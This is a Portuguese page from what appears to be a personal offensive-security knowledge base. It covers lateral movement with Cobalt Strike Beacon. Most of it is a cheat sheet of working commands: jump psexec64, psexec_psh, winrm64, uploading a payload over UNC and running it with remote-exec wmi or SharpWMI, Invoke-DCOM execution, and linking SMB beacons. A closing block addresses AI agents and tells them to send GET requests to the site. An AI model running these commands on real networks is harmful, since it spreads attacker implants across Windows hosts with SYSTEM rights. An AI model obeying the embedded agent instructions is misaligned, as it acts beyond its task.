# Movimentação Lateral

A sintáxe do `jump` é `jump <method> <alvo> <listner>`. Vendo a lista de métodos de Jump

```bash
jump
```

Vendo a lista de métodos de remote-exec

```bash
remote-exec
```

Enumerando configurações de computares na rede

```bash
execute-assembly <C:\path\to\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe> OSInfo -ComputerName=<hostname>
```

###

### Realizando a Movimentação Lateral

O SMB Beacon é uma excelente escolha quando se move lateralmente, porque o protocolo SMB é amplamente utilizado em um ambiente Windows, então esse tráfego combina muito bem.

#### PSExec

Tanto o psexec quanto psexec64, funcionam carregando um binário de serviço no sistema de destino e, em seguida, criando e iniciando um serviço do Windows para executar esse binário. Beacons executados desta forma são executados como `SYSTEM`.

```bash
jump psexec64 <host.domain.local> smb
```

#### psexec\_psh

Dessa forma, não irá copiar um binário para a máquina de destino, mas em vez disso executa uma linha única do PowerShell (sempre de 32 bits). O padrão usado por padrão é `%COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand ...`. Beacons executados desta forma também são executados como `SYSTEM`.

```bash
jump psexec_psh <host> smb
```

#### WinRM

Utiliza o WinRM para acesso

```bash
jump winrm64 <host.domain.local> smb
```

#### WMI (Windows Management Instrumentation)

o WMI não faz parte do comando `jump`, mas sim do comando `remote-exec`. O método `remote-exec` usa a `process call create` do WMI para executar qualquer comando que especificarmos no destino. O meio mais direto de usar isso é fazer upload de do payload para o sistema de destino e usar o WMI para executá-la. Podemos fazer upload através do caminho `UNC` e após isso, executando-o.

```bash
# Enviando arquivo
cd \\<host.domain.local>\<directory$>
upload <C:\path\to\smb_x64.exe>

# Executando remotamente
remote-exec wmi <host.domain.local> <C:\path\to\remote\smb_x64.exe>
```

Após executar, vamos nos conectar. Quando um binário é executado via WMI dessa forma, ele será filho de `WmiPrvSE.exe`. Altere o valor do PIPE para um que exista na máquina alvo.

```bash
link <host.domain.local> <TSVCPIPE-ab0f0aba-021a-f2dc-cc45-be45f53aaf37>
```

É comum recebermos o erro abaixo, pois isso só pode ser chamado uma vez por processo.

```bash
CoInitializeSecurity already called. Thread token (if there is one) may not get used
```

Para contornamos essa situação, podemos utilizar o seguinte comando:

```bash
execute-assembly <C:\path\to\SharpWMI\SharpWMI\bin\Release\SharpWMI.exe> action=exec computername=<host.domain.local> command="<C:\path\to\remote\smb_x64.exe>"
```

#### DCOM (Distributed Component Object Model)

O Beacon não possui recursos integrados para interagir por meio do `Distributed Component Object Model (DCOM)`, portanto, devemos usar uma ferramenta externa como o `Invoke-DCOM`. Altere o valor do PIPE para um que exista na máquina alvo.

```bash
powershell-import <C:\path\to\Invoke-DCOM.ps1>
powershell Invoke-DCOM -ComputerName <host.domain.local> -Method MMC20.Application -Command <C:\path\to\remote\smb_x64.exe>
link <host.domain.local> <TSVCPIPE-ab0f0aba-021a-f2dc-cc45-be45f53aaf37>
```

### Sites

```bash
# Invoke-DCOM
https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/tools/cobalt-strike/movimentacao-lateral.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
